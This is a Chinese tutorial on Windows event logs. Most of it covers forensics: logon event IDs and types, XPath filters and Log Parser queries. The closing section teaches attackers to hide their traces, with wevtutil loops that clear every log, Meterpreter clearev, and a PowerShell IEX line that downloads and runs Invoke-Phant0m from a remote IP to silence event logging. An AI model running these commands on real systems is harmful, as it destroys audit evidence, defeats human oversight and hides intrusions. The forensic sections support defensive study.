windows痕迹清除基础
Windows日志
简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找收到攻击时攻击者留下的痕迹
在渗透测试过程中,Windows日志往往记录系统上的敏感操作,如添加用户、远程登录、执行命令等。攻击者通常会对Windwos日志进行清除和绕过
Windows主要有以下三类日志记录系统文件
系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等,系统日志中记录的时间类型由Windows NT/2000操作系统预先定义
默认日志路径:%SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志
包含由应用程序或者系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序中记录文件错误。程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现程序崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许有助于你解决问题
默认日志路径:`%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志
记录系统中的安全审计日志,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变更、系统事件。安全日志也是调查取证中常用的日志。默认情况下,安全日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后便系统停止响应
默认日志路径:%SystemRoot%\System32\Winevt\Logs\Security.evtx
系统和应用程序日志存储着故障排查信息,对于系统管理员更为有用
安全日志记录着事件审计信息,包括用户验证和特定用户在认证后对系统做了什么,对于调查人员而言更有意义
查看系统日志
进入管理工具、事件管理器查看
包括五个类别:应用程序、安全、Setup、系统、转发事件
Powershell获取日志
1 | |命令 |功能 | 范例 | |
审核策略与事件查看器
Windows Server 2008 R2系统的审核功能在默认状态下并没有启动,建议开启审核策略,若日后系统出现故障,安全事故则可以查看系统的日志文件,排查故障,追查入侵者的信息等
设置1:WIN+R输入secpol.msc打开本地安全策略->本地策略->策略审核
1 | 推荐操作: |
问题:设置完审核策略后,执行gpupdate /force,更新组策略,导致策略自动消失
解决方案:删除 C:\Windows\System32\GroupPolicy\Machine\Microsoft\Windows NT\Audit文件下的.csv文件
设置2:Win+R,输入eventvwr.msc进入事件查看器,设置合理的日志属性,即日志最大大小、事件覆盖阈值等
常见登录事件日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义
| 事件ID | 说明 |
|---|---|
| 4624 | 登录成功 |
| 4625 | 登录失败 |
| 4634 | 注销成功 |
| 4637 | 用户启动的注销 |
| 4672 | 使用超级用户进行登录 |
| 4720 | 创建用户 |
登录类型
每个成功登录的事件都会标记一个登录类型,不同的登录类型代表不同的方式:
| 登录类型 | 描述 | 说明 |
|---|---|---|
| 2 | 交互式登录 | 用户在计算机的控制台上进行的登录,也就是在本地键盘上进行的登录,但不要忘记通过KVM登录仍然属于交互式登录,虽然它是基于网络的。 |
| 3 | 网络 | 当你从网络的上访问一台计算机时在大多数情况下Windows记为类型3,最常见的情况就是连接到共享文件夹或者共享打印机时。另外大多数情况下通过网络登录IIS时也被记为这种类型 |
| 4 | 批处理 | “计划任务服务”将为这个任务首先创建一个新的登录会话以便它能在此计划任务所配置的用户账户下运行,当这种登录出现时,Windows在日志中记为类型4,对于其它类型的工作任务系统,依赖于它的设计,也可以在开始工作时产生类型4的登录事件,类型4登录通常表明某计划任务启动,但也可能是 一个恶意用户通过计划任务来猜测用户密码,这种尝试将产生一个类型4的登录失败事件,但是这种失败登录也可能是由于计划任务的用户密码没能同步更改造成的,比如用户密码更改了,而忘记了在计划任务中进行更改。 |
| 5 | 服务 | 每种服务都被配置在某个特定的用户账户下运行,当一个服务开始时,Windows首先为这个特定的用户创建一个登录会话,这将被记为类型5,失败的类型5通常表明用户的密码已变而这里没得到更新,当然这也可能是由恶意用户的密码猜测引起的,但是这种可能性比较小,因为创建一个新的服务或编辑一个已存在的服务默认情况下都要求是管理员或serversoperators身份,而这种身份的恶意用户,已经有足够的能力来干他的坏事了,已经用不着费力来猜测服务密码了。 |
| 7 | 解锁 | 当一个用户离开他的计算机时相应的工作站自动开始一个密码保护的屏保,当一个用户回来解锁时,Windows就把这种解锁操作认为是一个类型7的登录,失败的类型7登录表明有人输入了错误的密码或者有人在尝试解锁计算机。 |
| 8 | 网络明文 | 但是这种登录的密码在网络上是通过明文传输的,WindowsServer服务是不允许通过明文验证连接到共享文件夹或打印机的,据我所知只有当从一个使用Advapi的ASP脚本登录或者一个用户使用基本验证方式登录IIS才会是这种登录类型。“登录过程”栏都将列出Advapi。 |
| 9 | 新凭证 | 当你使用带/Netonly参数的RUNAS命令运行一个程序时,RUNAS以本地当前登录用户运行它,但如果这个程序需要连接到网络上的其它计算机时,这时就将以RUNAS命令中指定的用户进行连接,同时Windows将把这种登录记为类型9,如果RUNAS命令没带/Netonly参数,那么这个程序就将以指定的用户运行,但日志中的登录类型是2。 |
| 10 | 远程交互 | 当你通过终端服务、远程桌面或远程协助访问计算机时,Windows将记为类型10,以便与真正的控制台登录相区别,注意XP之前的版本不支持这种登录类型,比如Windows2000仍然会把终端服务登录记为类型2。 |
| 11 | 缓存交互 | Windows支持一种称为缓存登录的功能,这种功能对移动用户尤其有利,比如你在自己网络之外以域用户登录而无法登录域控制器时就将使用这种功能,默认情况下,Windows缓存了最近10次交互式域登录的凭证HASH,如果以后当你以一个域用户登录而又没有域控制器可用时,Windows将使用这些HASH来验证你的身份。 |
特殊字段
当你双击一个 4624 或 4625 事件时,除了 Logon Type,还需要关注以下字段:
- Subject (主题): 报告此事件的账户(通常是系统本身如
SYSTEM)。 - New Logon / Account Whose Credentials Were Used (新登录/目标账户): 实际尝试登录的用户名。
- Failure Reason (失败原因): 仅存在于 4625 中。
%%2313(0xC000006A) - 密码错误。%%2314(0xC0000064) - 用户名不存在。%%2308(0xC0000234) - 账户被锁定。
- Network Information (网络信息):
- Workstation Name (工作站名称): 发起登录请求的机器名。
- Source Network Address (源网络地址): 发起登录请求的源 IP 地址。(如果是本地登录 Type 2,此处可能显示
127.0.0.1或-)。
常见情况
1. 本地物理机器登录(打卡上班 / 接触物理机)
这是最基础的登录方式,用户坐在电脑前,通过键盘输入密码进入系统。
- 用户动作: 开机后在登录界面输入正确的账号密码。
- 产生的核心日志:
- Event ID 4624 (登录成功),且 Logon Type 为 2 (交互式)。
- Event ID 4672 (特殊特权分配):如果该用户是管理员组的成员,会紧跟着产生此日志,表明该会话获得了管理员级别的特权(如
SeDebugPrivilege)。
- 取证意义: 用于证明在某个特定时间点,有人在物理层面接触并解锁了该设备。如果在凌晨 3 点出现了 Type 2 的登录,且不是门卫/夜班人员,通常意味着物理安全被突破。
2. 通过 RDP 远程桌面连接(远程办公 / 外部入侵)
用户通过 mstsc.exe 或其他远程桌面工具连接到目标机器。
- 用户动作: 发起 RDP 连接并输入凭据。
- 产生的核心日志:
- Event ID 4624 (登录成功),且 Logon Type 为 10 (远程交互)。日志详情中的“源网络地址 (Source Network Address)”会记录发起连接的真实 IP。
- Event ID 4778 (会话重新连接):如果用户之前没有注销,只是直接关掉了 RDP 窗口(断开连接),再次通过 RDP 连回去时,会产生此日志。
- Event ID 4779 (会话断开):用户直接点击“X”关闭 RDP 窗口,而不是点“注销”时产生。
- 取证意义: 这是排查勒索软件入侵、黑客通过跳板机控制内网的核心日志。重点关注 Type 10 登录的源 IP 是否为合法的办公网段或 VPN IP。
3. 访问网络共享目录 / 执行 PsExec(内网横向移动)
用户在文件资源管理器地址栏输入 \\192.168.1.100\C$,或者黑客使用 PsExec、WMI 等工具尝试在目标机器上远程执行命令。
- 用户动作: 通过网络验证凭据以访问资源,但并没有在目标机器上调出图形化桌面。
- 产生的核心日志:
- Event ID 4624 (登录成功),且 Logon Type 为 3 (网络)。
- Event ID 5140 (访问了网络共享对象):通常伴随 Type 3 出现,详细记录了用户具体访问了哪个共享文件夹(如
\*\IPC$或\*\C$)。
- 取证意义: 这是内网渗透测试和 APT 攻击中最常见的日志。当你看到大量的 Logon Type 3,尤其是目标指向
IPC$或ADMIN$时,通常意味着有人在尝试使用 SMB 协议进行横向移动或文件传输。
4. 锁屏与解锁(短暂离开座位)
用户按下 Win + L 离开座位,之后回来重新输入密码。
- 用户动作: 锁定屏幕,然后解锁。
- 产生的核心日志:
- 锁定: 产生 Event ID 4800 (工作站已被锁定)。
- 解锁: 产生 Event ID 4801 (工作站已被解锁),同时伴随一个 Event ID 4624,且 Logon Type 为 7 (解锁)。
- 取证意义: 用于精细化追踪用户的时间线。例如,在分析内部数据泄露时,如果恶意操作发生在电脑被锁定期间(ID 4800 之后,ID 4801 之前),那么很可能是后台恶意软件或计划任务所为,而不是用户本人操作。
5. 以其他用户身份运行 / UAC 提权(RunAs / 凭据窃取)
用户右键点击程序选择“以管理员身份运行”,或者在命令行中使用 runas /user:administrator cmd.exe,或者黑客使用工具进行哈希传递(Pass-the-Hash)。
- 用户动作: 在当前登录会话中,显式提供另一套凭据来执行程序。
- 产生的核心日志:
- Event ID 4648 (试图使用显式凭据登录):这是一个非常关键的前置日志,记录了“是谁”试图用“谁的凭据”执行什么进程。
- Event ID 4624 (登录成功),且 Logon Type 为 9 (新凭据) 或 2 (交互式)(取决于具体的 RunAs 实现方式)。
- 取证意义: 当你追踪提权操作、凭据转储(如运行 Mimikatz)或哈希传递攻击时,ID 4648 和 Logon Type 9 是极其重要的指示器。
6. 系统服务与计划任务自动启动(持久化后门)
系统开机自动启动 MySQL 服务,或者黑客设置了一个定时回连的计划任务。
- 用户动作: 无需人工干预,系统后台自动以特定账户(如 SYSTEM、NetworkService 或指定账户)启动进程。
- 产生的核心日志:
- Event ID 4624 (登录成功)。
- 如果是由服务控制管理器 (SCM) 启动,Logon Type 为 5 (服务)。
- 如果是通过计划任务 (Task Scheduler) 启动,Logon Type 为 4 (批处理)。
- 取证意义: 寻找系统中的持久化后门。正常的服务器会有固定的 Type 4 和 Type 5 登录(如定时备份任务)。如果在某个时间点突然新增了未知账户的 Type 4 登录,需立刻排查计划任务列表,这往往是攻击者留下的后门触发点。
过滤信息
一、 如何在 Windows 中使用 XML 筛选器
方式 1:通过图形界面 (Event Viewer)
- 打开事件查看器 (
eventvwr.msc) -> Windows 日志 -> 安全。 - 点击右侧的“筛选当前日志…”。
- 切换到“XML”选项卡,勾选底部的“手动编辑查询”
- 在文本框中粘贴你的 XML 代码。
方式 2:通过 PowerShell (推荐取证实战使用)
图形界面处理海量日志会卡顿,使用 PowerShell 配合 XPath 查询速度更快:
1 | Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" |
二、 核心 XML 语法解析
Windows 事件日志的底层是一个 XML 文件,主要由两部分组成:
<System>节点:包含 EventID、时间、提供者等通用信息。<EventData>节点:包含事件的详细内容(也就是我们在日志详情里看到的各种参数,如 LogonType、TargetUserName)。
要精准提取,我们就需要利用 XPath 语法去匹配 <EventData> 里的 <Data> 标签。
三、 实战高频 XML 筛选模板
你可以直接复制以下 XML 代码到事件查看器的 XML 选项卡中使用。
1. 筛选特定类型的登录(例如:仅查看 RDP 远程登录)
这是最常用的场景。仅靠基本筛选 4624 会出现大量本地服务登录干扰视线,我们需要精准定位 LogonType=10。
1 | <QueryList> |
2. 筛选特定用户的登录失败记录(追踪针对性爆破)
假设你想查看针对管理员账户 (Administrator) 的密码猜测和爆破行为:
1 | <QueryList> |
3. 筛选内网横向移动(指定 IP 的网络登录)
假设在应急响应中,你发现 192.168.1.50 是一台被攻陷的机器,你想看看这台机器有没有通过 SMB 或 WMI 向当前服务器发起过网络登录(Logon Type 3):
1 | <QueryList> |
4. 筛选“哈希传递攻击”特征 (Pass-the-Hash)
在前面的介绍中提到,PtH 攻击通常表现为 4624 登录,Logon Type 为 9,且身份验证包为 Negotiate,登录进程为 seclogo。我们可以用 XML 将这些条件组合起来,直接抓出攻击痕迹:
1 | <QueryList> |
四、 如何自己构造想要过滤的 XML 参数?
如果你想过滤其他字段(比如工作站名称、登录 GUID 等),但不知道对应的 Data Name 是什么,可以这样做:
- 在事件查看器中随便双击打开一个 4624 或 4625 事件日志。
- 切换到“详细信息 (Details)”选项卡。
- 选择“XML 视图 (XML View)”。
- 在下面的代码中找到
<EventData>节点。你会看到类似<Data Name='TargetUserName'>SYSTEM</Data>的格式。 - 这个
Name属性的值(如TargetUserName、IpAddress、WorkstationName),就是你在编写 XML 筛选规则时Data[@Name='这里的值']所需要填入的内容。日志分析工具
是微软出品的日志分析工具,功能强大,使用简单,可以分析基于文本的日志文件、XML文件、CSV文件,以及操作系统的事件信息、注册表、文件系统、Active Directory。它可以像使用SQL语句一样查询分析数据并以各种图标形式展现出来Log Parser
Log Parser 的强大之处在于它将各种系统数据源抽象成了关系型数据库,让你能用标准的 SQL 语句进行查询。在数字取证和应急响应中,熟练掌握它的命令行参数可以极大地提升排查效率。
以下是 Log Parser 核心命令参数的详细说明和高频使用技巧:
一、 核心命令语法结构
Log Parser 的基本运行语法如下:
Bash
1 | LogParser.exe -i:<输入格式> -o:<输出格式> "SQL查询语句" [其他全局参数] |
二、 常用的输入模块 (-i)
你需要告诉 Log Parser你要分析的数据源是什么类型。
-i:EVT:Windows 事件日志(支持实时的系统日志,也支持脱机的.evt和.evtx文件)。-i:IISW3C或-i:IIS:IIS Web 服务器日志(在排查 Web 入侵、SQL 注入等 Web 攻击时非常常用)。-i:CSV:逗号分隔的文本文件。-i:FS:文件系统(可以把磁盘目录当成数据库查询,用于找寻恶意文件、最近修改的文件)。-i:REG:注册表(用于排查注册表启动项、持久化后门)。-i:TEXTLINE:将任意文本文件的每一行作为一个记录读取(适合解析非标准格式的自定义日志)。
三、 常用的输出模块 (-o)
-o:NAT:(默认)原生格式,直接在命令行窗口输出对齐的文本。-o:DATAGRID:弹出一个图形化的表格窗口展示数据,支持点击表头排序,非常适合人工审阅。-o:CSV:输出为 CSV 文件,方便后续导入 Excel 或使用 Python 进行二次分析。-o:TPL:基于自定义模板输出(常用于生成自动化的 HTML 报告)。-o:CHART:直接生成图表(如饼图、柱状图,需安装 Office Web Components)。
四、 关键的全局参数与控制选项
在日常取证脚本中,经常会搭配这些参数来控制输出格式:
-q:ON或-q:OFF:安静模式(Quiet)。开启后(ON)会隐藏执行过程中的统计信息和处理进度,只输出纯净的数据,在编写批处理或自动化脚本时必加。-stats:OFF:仅隐藏底部的统计信息(执行了多少条、耗时多少)。-recurse:n:指定遍历子目录的层级。分析包含多个子目录的 Web 日志时常用(-recurse:-1表示无限层级遍历)。-iCheckpoint:<文件名>:增量分析。记录上次解析到的位置,下次运行只解析新增的日志(适合做日志监控)。
五、 实战取证查询示例
结合数字取证场景,这里提供几个可以直接抄作业的命令组合:
查询脱机日志文件 (Offline EVTX) 中的登录失败记录
在取证时,你通常拿到的是导出的 .evtx 文件,而不是查询本机。可以通过 FROM 关键字指定文件路径:
1 | LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, ComputerName, Strings FROM 'C:\Forensics\Security.evtx' WHERE EventID = 4625" |
统计 IIS 日志中访问量最高的前 10 个 IP(排查 Web 扫描或 CC 攻击)
1 | LogParser.exe -i:IISW3C "SELECT TOP 10 c-ip AS SourceIP, COUNT(*) AS Hits FROM 'C:\inetpub\logs\LogFiles\W3SVC1\*.log' GROUP BY c-ip ORDER BY Hits DESC" |
利用文件系统模块寻找 C 盘最近 24 小时内被修改过的 .exe 或 .dll 文件(寻找落地的恶意程序)
1 | LogParser.exe -i:FS "SELECT Path, LastWriteTime, Size FROM 'C:\*' WHERE Name LIKE '%.exe' OR Name LIKE '%.dll' AND LastWriteTime > SUB(SYSTEM_TIMESTAMP(), TIMESTAMP('0000-01-01 00:00:00', 'yyyy-MM-dd HH:mm:ss'))" -recurse:-1 |
查询登录成功的事件
登录成功的事件 ID 是 4624。为了让输出结果更清晰,我们通常提取生成时间、事件 ID、计算机名以及包含详细信息的字符串。
基础查询命令(输出到命令行窗口):
1 | LogParser.exe -i:EVT "SELECT TimeGenerated, EventID, ComputerName, Strings FROM Security WHERE EventID = 4624" |
进阶查询(以图形化表格 DataGrid 格式展示,适合人工分析):
1 | LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, ComputerName, Strings FROM Security WHERE EventID = 4624" |
查询登录失败的事件
登录失败的事件 ID 是 4625。这在排查暴力破解或异常登录尝试时非常有用。
基础查询命令(输出到命令行窗口):
1 | LogParser.exe -i:EVT "SELECT TimeGenerated, EventID, ComputerName, Strings FROM Security WHERE EventID = 4625" |
进阶查询(统计失败登录次数最多的前 10 个时间点或记录,并输出为 CSV 方便进一步处理):
1 | LogParser.exe -i:EVT -o:CSV "SELECT TOP 10 TimeGenerated, EventID, ComputerName, Strings FROM Security WHERE EventID = 4625 ORDER BY TimeGenerated DESC" > FailedLogons.csv |
统计系统日志中各 Event ID 的出现频率
快速了解系统日志的全貌,找出异常飙升的事件:
1 | LogParser.exe -i:EVT -o:NAT "SELECT EventID, COUNT(*) AS TotalEvents FROM Security GROUP BY EventID ORDER BY TotalEvents DESC" |
Event Log Explorer
Event Log Explorer 是一款用于查看、监控和分析 Windows 系统事件日志的专业工具,支持安全、系统、应用程序等多类日志,适用于安全审计、故障排查及取证分析。
Windows日志清除
wevtutil日志清理
wevtutil.exe:用于检索有关事件日志和发布者的信息、安装和卸载事件清单,运行查询以及导出、存档和清除日志
核心参数解析
在深入命令之前,先明确截图中那些缩写参数的具体含义,这有助于你自己构造命令:
qe(Query Events):查询事件。epl(Export Log):导出日志。cl(Clear Log):清除日志。el(Enum Logs):枚举系统中所有的日志名称(通道)。/f:text或/f:xml:指定输出格式 (Format)。XML 视图会包含非常重要的EventRecordID/rd:true:反向读取 (Reverse Direction),即从最新(最近)的日志开始读取。/c:N:限制返回的日志数量 (Count)。
日志清理命令完善
截图里展示了清理 Security、System、Application 和 Windows PowerShell 的单条命令。在实战中,攻击者往往会做得更彻底。
1. 基础单项清理(通常需要管理员权限):
1 | wevtutil cl Security |
2. 进阶实战:一键清除所有 Windows 事件日志 (自动化清理) Windows 系统中不仅有这几个主日志,还有几百个应用程序和服务日志(如 RDP 连接日志、WMI 监控日志等)。如果想要彻底“毁尸灭迹”,可以通过组合命令遍历清理。
- CMD 批处理方式: 利用
wevtutil el列出所有日志名称,并通过for循环逐一清除。
1 | for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" |
- PowerShell 方式:
1 | wevtutil el | Foreach-Object {wevtutil cl "$_"} |
Meterpreter清理日志
- 删除所有在渗透中使用的工具
- 删除之前添加的账号
1 | net user username /del |
- 删除应用程序、系统和安全模块日志
1
clearev
- 关闭所有
Meterpreter连接1
2sessions
sessions -k
- 查看事件日志
1
run event_manager -i
- 删除事件日志
1 | run event_manager -c |
停止日志记录
利用脚本让日志功能失效,无法记录日志1
powershell “IEX(new-object system.net.webclient).downloadstring(‘[http://192.168.231.147/Invoke-Phant0m.ps1](https://link.zhihu.com/?target=http%3A//192.168.231.147%3A8000/Invoke-Phant0m.ps1)’);Invoke-Phant0m”
把evventlog对应的svchost进程结束
重新开启Windows Event Log服务,即可恢复日志记录
1 | net start evenntLog |
